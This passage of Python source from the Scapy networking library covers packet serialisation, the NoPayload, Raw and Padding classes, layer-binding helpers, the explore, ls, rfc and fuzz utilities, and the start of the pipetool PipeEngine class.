in map(lambda y: Packet._command(y, json=True), fv)\n                    ]\n                else:\n                    fv = \"[%s]\" % \",\".join(map(Packet.command, fv))\n            elif fld.islist and isinstance(fv, list):\n                if json:\n                    fv = [\n                        getattr(x, 'command', lambda: repr(x))()\n                        for x in fv\n                    ]\n                else:\n                    fv = \"[%s]\" % \",\".join(\n                        getattr(x, 'command', lambda: repr(x))()\n                        for x in fv\n                    )\n            elif isinstance(fv, FlagValue):\n                fv = int(fv)\n            elif callable(getattr(fv, 'command', None)):\n                fv = fv.command(json=json)\n            else:\n                if json:\n                    if isinstance(fv, bytes):\n                        fv = fv.decode(\"utf-8\", errors=\"backslashreplace\")\n                    else:\n                        fv = fld.i2h(self, fv)\n                else:\n                    fv = repr(fld.i2h(self, fv))\n            f.append((fn, fv))\n        return f\n\n    def command(self):\n        # type: () -> str\n        \"\"\"\n        Returns a string representing the command you have to type to\n        obtain the same packet\n        \"\"\"\n        c = \"%s(%s)\" % (\n            self.__class__.__name__,\n            \", \".join(\"%s=%s\" % x for x in self._command())\n        )\n        pc = self.payload.command()\n        if pc:\n            c += \"/\" + pc\n        return c\n\n    def json(self):\n        # type: () -> str\n        \"\"\"\n        Returns a JSON representing the packet.\n\n        Please note that this cannot be used for bijective usage: data loss WILL occur,\n        so it will not make sense to try to rebuild the packet from the output.\n        This must only be used for a grepping/displaying purpose.\n        \"\"\"\n        dump = json.dumps({k: v for (k, v) in self._command(json=True)})\n        pc = self.payload.json()\n        if pc:\n            dump = dump[:-1] + \", \\\"payload\\\": %s}\" % pc\n        return dump\n\n\nclass NoPayload(Packet):\n    def __new__(cls, *args, **kargs):\n        # type: (Type[Packet], *Any, **Any) -> NoPayload\n        singl = cls.__dict__.get(\"__singl__\")\n        if singl is None:\n            cls.__singl__ = singl = Packet.__new__(cls)\n            Packet.__init__(singl)\n        return cast(NoPayload, singl)\n\n    def __init__(self, *args, **kargs):\n        # type: (*Any, **Any) -> None\n        pass\n\n    def dissection_done(self, pkt):\n        # type: (Packet) -> None\n        pass\n\n    def add_payload(self, payload):\n        # type: (Union[Packet, bytes]) -> NoReturn\n        raise Scapy_Exception(\"Can't add payload to NoPayload instance\")\n\n    def remove_payload(self):\n        # type: () -> None\n        pass\n\n    def add_underlayer(self, underlayer):\n        # type: (Any) -> None\n        pass\n\n    def remove_underlayer(self, other):\n        # type: (Packet) -> None\n        pass\n\n    def add_parent(self, parent):\n        # type: (Any) -> None\n        pass\n\n    def remove_parent(self, other):\n        # type: (Packet) -> None\n        pass\n\n    def copy(self):\n        # type: () -> NoPayload\n        return self\n\n    def clear_cache(self):\n        # type: () -> None\n        pass\n\n    def __repr__(self):\n        # type: () -> str\n        return \"\"\n\n    def __str__(self):\n        # type: () -> str\n        return \"\"\n\n    def __bytes__(self):\n        # type: () -> bytes\n        return b\"\"\n\n    def __nonzero__(self):\n        # type: () -> bool\n        return False\n    __bool__ = __nonzero__\n\n    def do_build(self):\n        # type: () -> bytes\n        return b\"\"\n\n    def build(self):\n        # type: () -> bytes\n        return b\"\"\n\n    def build_padding(self):\n        # type: () -> bytes\n        return b\"\"\n\n    def build_done(self, p):\n        # type: (bytes) -> bytes\n        return p\n\n    def build_ps(self, internal=0):\n        # type: (int) -> Tuple[bytes, List[Any]]\n        return b\"\", []\n\n    def getfieldval(self, attr):\n        # type: (str) -> NoReturn\n        raise AttributeError(attr)\n\n    def getfield_and_val(self, attr):\n        # type: (str) -> NoReturn\n        raise AttributeError(attr)\n\n    def setfieldval(self, attr, val):\n        # type: (str, Any) -> NoReturn\n        raise AttributeError(attr)\n\n    def delfieldval(self, attr):\n        # type: (str) -> NoReturn\n        raise AttributeError(attr)\n\n    def hide_defaults(self):\n        # type: () -> None\n        pass\n\n    def __iter__(self):\n        # type: () -> Iterator[Packet]\n        return iter([])\n\n    def __eq__(self, other):\n        # type: (Any) -> bool\n        if isinstance(other, NoPayload):\n            return True\n        return False\n\n    def hashret(self):\n        # type: () -> bytes\n        return b\"\"\n\n    def answers(self, other):\n        # type: (Packet) -> bool\n        return isinstance(other, (NoPayload, conf.padding_layer))  # noqa: E501\n\n    def haslayer(self, cls, _subclass=None):\n        # type: (Union[Type[Packet], str], Optional[bool]) -> int\n        return 0\n\n    def getlayer(self,\n                 cls,  # type: Union[int, Type[Packet], str]\n                 nb=1,  # type: int\n                 _track=None,  # type: Optional[List[int]]\n                 _subclass=None,  # type: Optional[bool]\n                 **flt  # type: Any\n                 ):\n        # type: (...) -> Optional[Packet]\n        if _track is not None:\n            _track.append(nb)\n        return None\n\n    def fragment(self, *args, **kargs):\n        # type: (*Any, **Any) -> List[Packet]\n        raise Scapy_Exception(\"cannot fragment this packet\")\n\n    def show(self, dump=False, indent=3, lvl=\"\", label_lvl=\"\"):\n        # type: (bool, int, str, str) -> None\n        pass\n\n    def sprintf(self, fmt, relax=1):\n        # type: (str, int) -> str\n        if relax:\n            return \"??\"\n        else:\n            raise Scapy_Exception(\"Format not found [%s]\" % fmt)\n\n    def _do_summary(self):\n        # type: () -> Tuple[int, str, List[Any]]\n        return 0, \"\", []\n\n    def layers(self):\n        # type: () -> List[Type[Packet]]\n        return []\n\n    def lastlayer(self, layer=None):\n        # type: (Optional[Packet]) -> Packet\n        return layer or self\n\n    def command(self):\n        # type: () -> str\n        return \"\"\n\n    def json(self):\n        # type: () -> str\n        return \"\"\n\n    def route(self):\n        # type: () -> Tuple[None, None, None]\n        return (None, None, None)\n\n\n####################\n#  packet classes  #\n####################\n\n\nclass Raw(Packet):\n    name = \"Raw\"\n    fields_desc = [StrField(\"load\", b\"\")]\n\n    def __init__(self, _pkt=b\"\", *args, **kwargs):\n        # type: (bytes, *Any, **Any) -> None\n        if _pkt and not isinstance(_pkt, bytes):\n            if isinstance(_pkt, tuple):\n                _pkt, bn = _pkt\n                _pkt = bytes_encode(_pkt), bn\n            else:\n                _pkt = bytes_encode(_pkt)\n        super(Raw, self).__init__(_pkt, *args, **kwargs)\n\n    def answers(self, other):\n        # type: (Packet) -> int\n        return 1\n\n    def mysummary(self):\n        # type: () -> str\n        cs = conf.raw_summary\n        if cs:\n            if callable(cs):\n                return \"Raw %s\" % cs(self.load)\n            else:\n                return \"Raw %r\" % self.load\n        return Packet.mysummary(self)\n\n\nclass Padding(Raw):\n    name = \"Padding\"\n\n    def self_build(self):\n        # type: (Optional[Any]) -> bytes\n        return b\"\"\n\n    def build_padding(self):\n        # type: () -> bytes\n        return (\n            bytes_encode(self.load) if self.raw_packet_cache is None\n            else self.raw_packet_cache\n        ) + self.payload.build_padding()\n\n\nconf.raw_layer = Raw\nconf.padding_layer = Padding\nif conf.default_l2 is None:\n    conf.default_l2 = Raw\n\n#################\n#  Bind layers  #\n#################\n\n\ndef bind_bottom_up(lower,  # type: Type[Packet]\n                   upper,  # type: Type[Packet]\n                   __fval=None,  # type: Optional[Any]\n                   **fval  # type: Any\n                   ):\n    # type: (...) -> None\n    r\"\"\"Bind 2 layers for dissection.\n    The upper layer will be chosen for dissection on top of the lower layer, if\n    ALL the passed arguments are validated. If multiple calls are made with\n    the same layers, the last one will be used as default.\n\n    ex:\n        >>> bind_bottom_up(Ether, SNAP, type=0x1234)\n        >>> Ether(b'\\xff\\xff\\xff\\xff\\xff\\xff\\xd0P\\x99V\\xdd\\xf9\\x124\\x00\\x00\\x00\\x00\\x00')  # noqa: E501\n        <Ether  dst=ff:ff:ff:ff:ff:ff src=d0:50:99:56:dd:f9 type=0x1234 |<SNAP  OUI=0x0 code=0x0 |>>  # noqa: E501\n    \"\"\"\n    if __fval is not None:\n        fval.update(__fval)\n    lower.payload_guess = lower.payload_guess[:]\n    lower.payload_guess.append((fval, upper))\n\n\ndef bind_top_down(lower,  # type: Type[Packet]\n                  upper,  # type: Type[Packet]\n                  __fval=None,  # type: Optional[Any]\n                  **fval  # type: Any\n                  ):\n    # type: (...) -> None\n    \"\"\"Bind 2 layers for building.\n    When the upper layer is added as a payload of the lower layer, all the\n    arguments will be applied to them.\n\n    ex:\n        >>> bind_top_down(Ether, SNAP, type=0x1234)\n        >>> Ether()/SNAP()\n        <Ether  type=0x1234 |<SNAP  |>>\n    \"\"\"\n    if __fval is not None:\n        fval.update(__fval)\n    upper._overload_fields = upper._overload_fields.copy()  # type: ignore\n    upper._overload_fields[lower] = fval\n\n\n@conf.commands.register\ndef bind_layers(lower,  # type: Type[Packet]\n                upper,  # type: Type[Packet]\n                __fval=None,  # type: Optional[Dict[str, int]]\n                **fval  # type: Any\n                ):\n    # type: (...) -> None\n    \"\"\"Bind 2 layers on some specific fields' values.\n\n    It makes the packet being built and dissected when the arguments\n    are present.\n\n    This function calls both bind_bottom_up and bind_top_down, with\n    all passed arguments.\n\n    Please have a look at their docs:\n     - help(bind_bottom_up)\n     - help(bind_top_down)\n     \"\"\"\n    if __fval is not None:\n        fval.update(__fval)\n    bind_top_down(lower, upper, **fval)\n    bind_bottom_up(lower, upper, **fval)\n\n\ndef split_bottom_up(lower,  # type: Type[Packet]\n                    upper,  # type: Type[Packet]\n                    __fval=None,  # type: Optional[Any]\n                    **fval  # type: Any\n                    ):\n    # type: (...) -> None\n    \"\"\"This call un-links an association that was made using bind_bottom_up.\n    Have a look at help(bind_bottom_up)\n    \"\"\"\n    if __fval is not None:\n        fval.update(__fval)\n\n    def do_filter(params, cls):\n        # type: (Dict[str, int], Type[Packet]) -> bool\n        params_is_invalid = any(\n            k not in params or params[k] != v for k, v in fval.items()\n        )\n        return cls != upper or params_is_invalid\n    lower.payload_guess = [x for x in lower.payload_guess if do_filter(*x)]\n\n\ndef split_top_down(lower,  # type: Type[Packet]\n                   upper,  # type: Type[Packet]\n                   __fval=None,  # type: Optional[Any]\n                   **fval  # type: Any\n                   ):\n    # type: (...) -> None\n    \"\"\"This call un-links an association that was made using bind_top_down.\n    Have a look at help(bind_top_down)\n    \"\"\"\n    if __fval is not None:\n        fval.update(__fval)\n    if lower in upper._overload_fields:\n        ofval = upper._overload_fields[lower]\n        if any(k not in ofval or ofval[k] != v for k, v in fval.items()):\n            return\n        upper._overload_fields = upper._overload_fields.copy()  # type: ignore\n        del upper._overload_fields[lower]\n\n\n@conf.commands.register\ndef split_layers(lower,  # type: Type[Packet]\n                 upper,  # type: Type[Packet]\n                 __fval=None,  # type: Optional[Any]\n                 **fval  # type: Any\n                 ):\n    # type: (...) -> None\n    \"\"\"Split 2 layers previously bound.\n    This call un-links calls bind_top_down and bind_bottom_up. It is the opposite of  # noqa: E501\n    bind_layers.\n\n    Please have a look at their docs:\n     - help(split_bottom_up)\n     - help(split_top_down)\n    \"\"\"\n    if __fval is not None:\n        fval.update(__fval)\n    split_bottom_up(lower, upper, **fval)\n    split_top_down(lower, upper, **fval)\n\n\n@conf.commands.register\ndef explore(layer=None):\n    # type: (Optional[str]) -> None\n    \"\"\"Function used to discover the Scapy layers and protocols.\n    It helps to see which packets exists in contrib or layer files.\n\n    params:\n     - layer: If specified, the function will explore the layer. If not,\n              the GUI mode will be activated, to browse the available layers\n\n    examples:\n      >>> explore()  # Launches the GUI\n      >>> explore(\"dns\")  # Explore scapy.layers.dns\n      >>> explore(\"http2\")  # Explore scapy.contrib.http2\n      >>> explore(scapy.layers.bluetooth4LE)\n\n    Note: to search a packet by name, use ls(\"name\") rather than explore.\n    \"\"\"\n    if layer is None:  # GUI MODE\n        if not conf.interactive:\n            raise Scapy_Exception(\"explore() GUI-mode cannot be run in \"\n                                  \"interactive mode. Please provide a \"\n                                  \"'layer' parameter !\")\n        # 0 - Imports\n        try:\n            import prompt_toolkit\n        except ImportError:\n            raise ImportError(\"prompt_toolkit is not installed ! \"\n                              \"You may install IPython, which contains it, via\"\n                              \" `pip install ipython`\")\n        if not _version_checker(prompt_toolkit, (2, 0)):\n            raise ImportError(\"prompt_toolkit >= 2.0.0 is required !\")\n        # Only available with prompt_toolkit > 2.0, not released on PyPi yet\n        from prompt_toolkit.shortcuts.dialogs import radiolist_dialog, \\\n            button_dialog\n        from prompt_toolkit.formatted_text import HTML\n        # Check for prompt_toolkit >= 3.0.0\n        call_ptk = lambda x: cast(str, x)  # type: Callable[[Any], str]\n        if _version_checker(prompt_toolkit, (3, 0)):\n            call_ptk = lambda x: x.run()\n        # 1 - Ask for layer or contrib\n        btn_diag = button_dialog(\n            title=\"Scapy v%s\" % conf.version,\n            text=HTML(\n                '<style bg=\"white\" fg=\"red\">Chose the type of packets'\n                ' you want to explore:</style>'\n            ),\n            buttons=[\n                (\"Layers\", \"layers\"),\n                (\"Contribs\", \"contribs\"),\n                (\"Cancel\", \"cancel\")\n            ])\n        action = call_ptk(btn_diag)\n        # 2 - Retrieve list of Packets\n        if action == \"layers\":\n            # Get all loaded layers\n            lvalues = conf.layers.layers()\n            # Restrict to layers-only (not contribs) + packet.py and asn1*.py\n            values = [x for x in lvalues if (\"layers\" in x[0] or\n                                             \"packet\" in x[0] or\n                                             \"asn1\" in x[0])]\n        elif action == \"contribs\":\n            # Get all existing contribs\n            from scapy.main import list_contrib\n            cvalues = cast(List[Dict[str, str]], list_contrib(ret=True))\n            values = [(x['name'], x['description'])\n                      for x in cvalues]\n            # Remove very specific modules\n            values = [x for x in values if \"can\" not in x[0]]\n        else:\n            # Escape/Cancel was pressed\n            return\n        # Build tree\n        if action == \"contribs\":\n            # A tree is a dictionary. Each layer contains a keyword\n            # _l which contains the files in the layer, and a _name\n            # argument which is its name. The other keys are the subfolders,\n            # which are similar dictionaries\n            tree = defaultdict(list)  # type: Dict[str, Union[List[Any], Dict[str, Any]]]  # noqa: E501\n            for name, desc in values:\n                if \".\" in name:  # Folder detected\n                    parts = name.split(\".\")\n                    subtree = tree\n                    for pa in parts[:-1]:\n                        if pa not in subtree:\n                            subtree[pa] = {}\n                        # one layer deeper\n                        subtree = subtree[pa]  # type: ignore\n                        subtree[\"_name\"] = pa  # type: ignore\n                    if \"_l\" not in subtree:\n                        subtree[\"_l\"] = []\n                    subtree[\"_l\"].append((parts[-1], desc))  # type: ignore\n                else:\n                    tree[\"_l\"].append((name, desc))  # type: ignore\n        elif action == \"layers\":\n            tree = {\"_l\": values}\n        # 3 - Ask for the layer/contrib module to explore\n        current = tree  # type: Any\n        previous = []  # type: List[Dict[str, Union[List[Any], Dict[str, Any]]]]  # noqa: E501\n        while True:\n            # Generate tests & form\n            folders = list(current.keys())\n            _radio_values = [\n                (\"$\" + name, str('[+] ' + name.capitalize()))\n                for name in folders if not name.startswith(\"_\")\n            ] + current.get(\"_l\", [])  # type: List[str]\n            cur_path = \"\"\n            if previous:\n                cur_path = \".\".join(\n                    itertools.chain(\n                        (x[\"_name\"] for x in previous[1:]),  # type: ignore\n                        (current[\"_name\"],)\n                    )\n                )\n            extra_text = (\n                '\\n<style bg=\"white\" fg=\"green\">> scapy.%s</style>'\n            ) % (action + (\".\" + cur_path if cur_path else \"\"))\n            # Show popup\n            rd_diag = radiolist_dialog(\n                values=_radio_values,\n                title=\"Scapy v%s\" % conf.version,\n                text=HTML(\n                    (\n                        '<style bg=\"white\" fg=\"red\">Please select a file'\n                        'among the following, to see all layers contained in'\n                        ' it:</style>'\n                    ) + extra_text\n                ),\n                cancel_text=\"Back\" if previous else \"Cancel\"\n            )\n            result = call_ptk(rd_diag)\n            if result is None:\n                # User pressed \"Cancel/Back\"\n                if previous:  # Back\n                    current = previous.pop()\n                    continue\n                else:  # Cancel\n                    return\n            if result.startswith(\"$\"):\n                previous.append(current)\n                current = current[result[1:]]\n            else:\n                # Enter on layer\n                if previous:  # In subfolder\n                    result = cur_path + \".\" + result\n                break\n        # 4 - (Contrib only): load contrib\n        if action == \"contribs\":\n            from scapy.main import load_contrib\n            load_contrib(result)\n            result = \"scapy.contrib.\" + result\n    else:  # NON-GUI MODE\n        # We handle layer as a short layer name, full layer name\n        # or the module itself\n        if isinstance(layer, types.ModuleType):\n            layer = layer.__name__\n        if isinstance(layer, str):\n            if layer.startswith(\"scapy.layers.\"):\n                result = layer\n            else:\n                if layer.startswith(\"scapy.contrib.\"):\n                    layer = layer.replace(\"scapy.contrib.\", \"\")\n                from scapy.main import load_contrib\n                load_contrib(layer)\n                result_layer, result_contrib = ((\"scapy.layers.%s\" % layer),\n                                                (\"scapy.contrib.%s\" % layer))\n                if result_layer in conf.layers.ldict:\n                    result = result_layer\n                elif result_contrib in conf.layers.ldict:\n                    result = result_contrib\n                else:\n                    raise Scapy_Exception(\"Unknown scapy module '%s'\" % layer)\n        else:\n            warning(\"Wrong usage ! Check out help(explore)\")\n            return\n\n    # COMMON PART\n    # Get the list of all Packets contained in that module\n    try:\n        all_layers = conf.layers.ldict[result]\n    except KeyError:\n        raise Scapy_Exception(\"Unknown scapy module '%s'\" % layer)\n    # Print\n    print(conf.color_theme.layer_name(\"Packets contained in %s:\" % result))\n    rtlst = []  # type: List[Tuple[Union[str, List[str]], ...]]\n    rtlst = [(lay.__name__ or \"\", cast(str, lay._name) or \"\") for lay in all_layers]\n    print(pretty_list(rtlst, [(\"Class\", \"Name\")], borders=True))\n\n\ndef _pkt_ls(obj,  # type: Union[Packet, Type[Packet]]\n            verbose=False,  # type: bool\n            ):\n    # type: (...) -> List[Tuple[str, Type[AnyField], str, str, List[str]]]  # noqa: E501\n    \"\"\"Internal function used to resolve `fields_desc` to display it.\n\n    :param obj: a packet object or class\n    :returns: a list containing tuples [(name, clsname, clsname_extras,\n        default, long_attrs)]\n    \"\"\"\n    is_pkt = isinstance(obj, Packet)\n    if not issubtype(obj, Packet) and not is_pkt:\n        raise ValueError\n    fields = []\n    for f in obj.fields_desc:\n        cur_fld = f\n        attrs = []  # type: List[str]\n        long_attrs = []  # type: List[str]\n        while isinstance(cur_fld, (Emph, ConditionalField)):\n            if isinstance(cur_fld, ConditionalField):\n                attrs.append(cur_fld.__class__.__name__[:4])\n            cur_fld = cur_fld.fld\n        name = cur_fld.name\n        default = cur_fld.default\n        if verbose and isinstance(cur_fld, EnumField) \\\n           and hasattr(cur_fld, \"i2s\") and cur_fld.i2s:\n            if len(cur_fld.i2s or []) < 50:\n                long_attrs.extend(\n                    \"%s: %d\" % (strval, numval)\n                    for numval, strval in\n                    sorted(cur_fld.i2s.items())\n                )\n        elif isinstance(cur_fld, MultiEnumField):\n            if isinstance(obj, Packet):\n                obj_pkt = obj\n            else:\n                obj_pkt = obj()\n            fld_depend = cur_fld.depends_on(obj_pkt)\n            attrs.append(\"Depends on %s\" % fld_depend)\n            if verbose:\n                cur_i2s = cur_fld.i2s_multi.get(\n                    cur_fld.depends_on(obj_pkt), {}\n                )\n                if len(cur_i2s) < 50:\n                    long_attrs.extend(\n                        \"%s: %d\" % (strval, numval)\n                        for numval, strval in\n                        sorted(cur_i2s.items())\n                    )\n        elif verbose and isinstance(cur_fld, FlagsField):\n            names = cur_fld.names\n            long_attrs.append(\", \".join(names))\n        elif isinstance(cur_fld, MultipleTypeField):\n            default = cur_fld.dflt.default\n            attrs.append(\", \".join(\n                x[0].__class__.__name__ for x in\n                itertools.chain(cur_fld.flds, [(cur_fld.dflt,)])\n            ))\n\n        cls = cur_fld.__class__\n        class_name_extras = \"(%s)\" % (\n            \", \".join(attrs)\n        ) if attrs else \"\"\n        if isinstance(cur_fld, BitField):\n            class_name_extras += \" (%d bit%s)\" % (\n                cur_fld.size,\n                \"s\" if cur_fld.size > 1 else \"\"\n            )\n        fields.append(\n            (name,\n             cls,\n             class_name_extras,\n             repr(default),\n             long_attrs)\n        )\n    return fields\n\n\n@conf.commands.register\ndef ls(obj=None,  # type: Optional[Union[str, Packet, Type[Packet]]]\n       case_sensitive=False,  # type: bool\n       verbose=False  # type: bool\n       ):\n    # type: (...) -> None\n    \"\"\"List  available layers, or infos on a given layer class or name.\n\n    :param obj: Packet / packet name to use\n    :param case_sensitive: if obj is a string, is it case sensitive?\n    :param verbose:\n    \"\"\"\n    if obj is None or isinstance(obj, str):\n        tip = False\n        if obj is None:\n            tip = True\n            all_layers = sorted(conf.layers, key=lambda x: x.__name__)\n        else:\n            pattern = re.compile(\n                obj,\n                0 if case_sensitive else re.I\n            )\n            # We first order by accuracy, then length\n            if case_sensitive:\n                sorter = lambda x: (x.__name__.index(obj), len(x.__name__))\n            else:\n                obj = obj.lower()\n                sorter = lambda x: (x.__name__.lower().index(obj),\n                                    len(x.__name__))\n            all_layers = sorted((layer for layer in conf.layers\n                                 if (isinstance(layer.__name__, str) and\n                                     pattern.search(layer.__name__)) or\n                                 (isinstance(layer.name, str) and\n                                     pattern.search(layer.name))),\n                                key=sorter)\n        for layer in all_layers:\n            print(\"%-10s : %s\" % (layer.__name__, layer._name))\n        if tip and conf.interactive:\n            print(\"\\nTIP: You may use explore() to navigate through all \"\n                  \"layers using a clear GUI\")\n    else:\n        try:\n            fields = _pkt_ls(\n                obj,\n                verbose=verbose\n            )\n            is_pkt = isinstance(obj, Packet)\n            # Print\n            for fname, cls, clsne, dflt, long_attrs in fields:\n                clsinfo = cls.__name__ + \" \" + clsne\n                print(\"%-10s : %-35s =\" % (fname, clsinfo), end=' ')\n                if is_pkt:\n                    print(\"%-15r\" % (getattr(obj, fname),), end=' ')\n                print(\"(%r)\" % (dflt,))\n                for attr in long_attrs:\n                    print(\"%-15s%s\" % (\"\", attr))\n            # Restart for payload if any\n            if is_pkt:\n                obj = cast(Packet, obj)\n                if isinstance(obj.payload, NoPayload):\n                    return\n                print(\"--\")\n                ls(obj.payload)\n        except ValueError:\n            print(\"Not a packet class or name. Type 'ls()' to list packet classes.\")  # noqa: E501\n\n\n@conf.commands.register\ndef rfc(cls, ret=False, legend=True):\n    # type: (Type[Packet], bool, bool) -> Optional[str]\n    \"\"\"\n    Generate an RFC-like representation of a packet def.\n\n    :param cls: the Packet class\n    :param ret: return the result instead of printing (def. False)\n    :param legend: show text under the diagram (default True)\n\n    Ex::\n\n        >>> rfc(Ether)\n\n    \"\"\"\n    if not issubclass(cls, Packet):\n        raise TypeError(\"Packet class expected\")\n    cur_len = 0\n    cur_line = []\n    lines = []\n    # Get the size (width) that a field will take\n    # when formatted, from its length in bits\n    clsize = lambda x: 2 * x - 1  # type: Callable[[int], int]\n    ident = 0  # Fields UUID\n\n    # Generate packet groups\n    def _iterfields() -> Iterator[Tuple[str, int]]:\n        for f in cls.fields_desc:\n            # Fancy field name\n            fname = f.name.upper().replace(\"_\", \" \")\n            fsize = int(f.sz * 8)\n            yield fname, fsize\n            # Add padding optionally\n            if isinstance(f, PadField):\n                if isinstance(f._align, tuple):\n                    pad = - cur_len % (f._align[0] * 8)\n                else:\n                    pad = - cur_len % (f._align * 8)\n                if pad:\n                    yield \"padding\", pad\n    for fname, flen in _iterfields():\n        cur_len += flen\n        ident += 1\n        # The field might exceed the current line or\n        # take more than one line. Copy it as required\n        while True:\n            over = max(0, cur_len - 32)  # Exceed\n            len1 = clsize(flen - over)  # What fits\n            cur_line.append((fname[:len1], len1, ident))\n            if cur_len >= 32:\n                # Current line is full. start a new line\n                lines.append(cur_line)\n                cur_len = flen = over\n                fname = \"\"  # do not repeat the field\n                cur_line = []\n                if not over:\n                    # there is no data left\n                    break\n            else:\n                # End of the field\n                break\n    # Add the last line if un-finished\n    if cur_line:\n        lines.append(cur_line)\n    # Calculate separations between lines\n    seps = []\n    seps.append(\"+-\" * 32 + \"+\\n\")\n    for i in range(len(lines) - 1):\n        # Start with a full line\n        sep = \"+-\" * 32 + \"+\\n\"\n        # Get the line above and below the current\n        # separation\n        above, below = lines[i], lines[i + 1]\n        # The last field of above is shared with below\n        if above[-1][2] == below[0][2]:\n            # where the field in \"above\" starts\n            pos_above = sum(x[1] for x in above[:-1]) + len(above[:-1]) - 1\n            # where the field in \"below\" ends\n            pos_below = below[0][1]\n            if pos_above < pos_below:\n                # they are overlapping.\n                # Now crop the space between those pos\n                # and fill it with \" \"\n                pos_above = pos_above + pos_above % 2\n                sep = (\n                    sep[:1 + pos_above] +\n                    \" \" * (pos_below - pos_above) +\n                    sep[1 + pos_below:]\n                )\n        # line is complete\n        seps.append(sep)\n    # Graph\n    result = \"\"\n    # Bytes markers\n    result += \" \" + (\" \" * 19).join(\n        str(x) for x in range(4)\n    ) + \"\\n\"\n    # Bits markers\n    result += \" \" + \" \".join(\n        str(x % 10) for x in range(32)\n    ) + \"\\n\"\n    # Add fields and their separations\n    for line, sep in zip(lines, seps):\n        result += sep\n        for elt, flen, _ in line:\n            result += \"|\" + elt.center(flen, \" \")\n        result += \"|\\n\"\n    result += \"+-\" * (cur_len or 32) + \"+\\n\"\n    # Annotate with the figure name\n    if legend:\n        result += \"\\n\" + (\"Fig. \" + cls.__name__).center(66, \" \")\n    # return if asked for, else print\n    if ret:\n        return result\n    print(result)\n    return None\n\n\n#############\n#  Fuzzing  #\n#############\n\n_P = TypeVar('_P', bound=Packet)\n\n\n@conf.commands.register\ndef fuzz(p,  # type: _P\n         _inplace=0,  # type: int\n         ):\n    # type: (...) -> _P\n    \"\"\"\n    Transform a layer into a fuzzy layer by replacing some default values\n    by random objects.\n\n    :param p: the Packet instance to fuzz\n    :return: the fuzzed packet.\n    \"\"\"\n    if not _inplace:\n        p = p.copy()\n    q = cast(Packet, p)\n    while not isinstance(q, NoPayload):\n        new_default_fields = {}\n        multiple_type_fields = []  # type: List[str]\n        for f in q.fields_desc:\n            if isinstance(f, PacketListField):\n                for r in getattr(q, f.name):\n                    fuzz(r, _inplace=1)\n            elif isinstance(f, MultipleTypeField):\n                # the type of the field will depend on others\n                multiple_type_fields.append(f.name)\n            elif f.default is not None:\n                if not isinstance(f, ConditionalField) or f._evalcond(q):\n                    rnd = f.randval()\n                    if rnd is not None:\n                        new_default_fields[f.name] = rnd\n        # Process packets with MultipleTypeFields\n        if multiple_type_fields:\n            # freeze the other random values\n            new_default_fields = {\n                key: (val._fix() if isinstance(val, VolatileValue) else val)\n                for key, val in new_default_fields.items()\n            }\n            q.default_fields.update(new_default_fields)\n            new_default_fields.clear()\n            # add the random values of the MultipleTypeFields\n            for name in multiple_type_fields:\n                fld = cast(MultipleTypeField, q.get_field(name))\n                rnd = fld._find_fld_pkt(q).randval()\n                if rnd is not None:\n                    new_default_fields[name] = rnd\n        q.default_fields.update(new_default_fields)\n        q = q.payload\n    return p\n"
  },
  {
    "path": "scapy/pipetool.py",
    "content": "# SPDX-License-Identifier: GPL-2.0-only\n# This file is part of Scapy\n# See https://scapy.net/ for more information\n# Copyright (C) Philippe Biondi <phil@secdev.org>\n\nimport os\nimport queue\nimport subprocess\nimport time\nfrom threading import Lock, Thread\n\nfrom scapy.automaton import (\n    Message,\n    ObjectPipe,\n    select_objects,\n)\nfrom scapy.consts import WINDOWS\nfrom scapy.error import log_runtime, warning\nfrom scapy.config import conf\nfrom scapy.utils import get_temp_file, do_graph\n\nfrom typing import (\n    Any,\n    Callable,\n    Dict,\n    Iterable,\n    Optional,\n    Set,\n    Tuple,\n    Union,\n    Type,\n    TypeVar,\n    cast,\n)\n\n\nclass PipeEngine(ObjectPipe[str]):\n    pipes = {}  # type: Dict[str, Type[Pipe]]\n\n    @classmethod\n    def list_pipes(cls):\n        # type: () -> None\n        for pn, pc in sorted(cls.pipes.items()):\n            doc = pc.__doc__ or \"\"\n            if doc:\n                doc = doc.splitlines()[0]\n            print(\"%20s: %s\" % (pn, doc))\n\n    @classmethod\n    def list_pipes_detailed(cls):\n        # type: () -> None\n        for pn, pc in sorted(cls.pipes.items()):\n            if pc.__doc__:\n                print(\"###### %s\\n %s\" % (pn, pc.__doc__))\n            else:\n                print(\"###### %s\" % pn)\n\n    def __init__(self, *pipes):\n        # type: (*Pipe) -> None\n        ObjectPipe.__init__(self, \"PipeEngine\")\n        self.active_pipes = set()  # type: Set[Pipe]\n        self.active_sources = set()  # type: Set[Union[Source, PipeEngine]]\n        self.active_drains = set()  # type: Set[Pipe]\n        self.active_sinks = set()  # type: Set[Pipe]\n        self._add_pipes(*pipes)\n        self.thread_lock = Lock()\n        self.command_lock = Lock()\n        self.thread = None  # type: Optional[Thread]\n\n    def __getattr__(self, attr):\n        # type: (str) -> Callable[..., Pipe]\n        if attr.startswith(\"spawn_\"):\n            dname = attr[6:]\n            if dname in self.pipes:\n                def f(*args, **kargs):\n                    # type: (*Any, **Any) -> Pipe\n                    k = self.pipes[dname]\n                    p = k(*args, **kargs)  # type: Pipe\n                    self.add(p)\n                    return p\n                return f\n        raise AttributeError(attr)\n\n    def _read_cmd(self):\n        # type: () -> str\n        return self.recv()  # type: ignore\n\n    def _write_cmd(self, _cmd):\n        # type: (str) -> None\n        self.send(_cmd)\n\n    def add_one_pipe(self, pipe):\n        # type: (Pipe) -> None\n        self.active_pipes.add(pipe)\n        if isinstance(pipe, Source):\n            self.active_sources.add(pipe)\n        if isinstance(pipe, Drain):\n            self.active_drains.add(pipe)\n        if isinstance(pipe, Sink):\n            self.active_sinks.add(pipe)\n\n    def get_pipe_list(self, pipe):\n        # type: (Pipe) -> Set[Any]\n        def flatten(p,  # type: Any\n                    li,  # type: Set[Pipe]\n                    ):\n            # type: (...) -> None\n            li.add(p)\n            for q in p.sources | p.sinks | p.high_sources | p.high_sinks:\n                if q not in li:\n                    flatten(q, li)\n        pl = set()  # type: Set[Pipe]\n        flatten(pipe, pl)\n        return pl\n\n    def _add_pipes(self, *pipes):\n        # type: (*Pipe) -> Set[Pipe]\n        pl = set()\n        for p in pipes:\n            pl |= self.get_pipe_list(p)\n        pl -= self.active_pipes\n        for q in pl:\n            self.add_one_pipe(q)\n        return pl\n\n    def run(self):\n        # type: () -> None\n        log_runtime.debug(\"Pipe engine thread started.\")\n        try:\n            for p in self.active_pipes:\n                p.start()\n            sources = self.active_sources\n            sources.add(self)\n            exhausted = set([])  # type: Set[Union[Source, PipeEngine]]\n            RUN = True\n            STOP_IF_EXHAUSTED = False\n            while RUN and (not 